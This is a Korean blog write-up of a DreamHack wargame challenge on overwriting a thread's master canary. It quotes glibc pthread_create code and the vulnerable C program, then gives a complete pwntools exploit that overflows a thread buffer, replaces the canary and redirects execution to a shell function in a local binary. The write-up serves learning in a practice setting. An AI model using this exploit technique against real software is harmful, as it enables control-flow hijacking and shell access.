Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage3_Master Canary2 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage3_Master Canary2

CIDY 2022. 7. 11. 23:19
#define THREAD_COPY_STACK_GUARD(descr) \
  ((descr)->header.stack_guard						      \
   = THREAD_GETMEM (THREAD_SELF, header.stack_guard))
int
__pthread_create_2_1 (pthread_t *newthread, const pthread_attr_t *attr,
		      void *(*start_routine) (void *), void *arg) 
{
    ...
    #ifdef THREAD_COPY_STACK_GUARD
    THREAD_COPY_STACK_GUARD (pd);
    #endif
    /* Copy the pointer guard value.  */
    #ifdef THREAD_COPY_POINTER_GUARD
    THREAD_COPY_POINTER_GUARD (pd);
    #endif
    /* Verify the sysinfo bits were copied in allocate_stack if needed.  */
    #ifdef NEED_DL_SYSINFO
    CHECK_THREAD_SYSINFO (pd);
    #endif
    ...
}

 

이게 뭐냐면 pthread_cread함수 코드이다. 여기서 맨 위에 보이는 매크로를 통해 header.stack_guard에 위치하는 마스터 카나리 값을 가져온다.

 

스레드에서 할당한 변수는 마스터 카나리보다 더 낮은 주소에 있음 -> 스택 bof가 발생하면 마스터 카나리 덮을 수 있음

 

 

// 64-bit, canary, nx, pratial relro
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read(0, buf, size);
}
int main() {
  pthread_t thread_t;
  init();
  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

문제 C코드는 이러하다. 

 

fs와 버퍼의 오프셋을 구해야 하는데, 주소는 바뀌어도 어차피 오프셋은 같으니까 그냥 gdb로 까 보면 된다.

 

 

 

이렇게 버퍼 주소 구할 수 있고

 

 

이렇게 마스터 카나리 주소를 데려올 수 있다. 저거 두개 빼서 오프셋구하고 그만큼 보내주면 된다.

 

from pwn import *

p = process("./canary")
e = ELF("./canary")

pay = b"A" * 0x110
pay += b"B" * 0x8
pay += p64(e.sym['giveshell'])
pay += b"C" * (0x948 - len(pay))
pay += b"A" * 0x8

p.sendlineafter(b"Size: ", str(0x950))
p.sendafter(b"Data: ", pay)

p.interactive()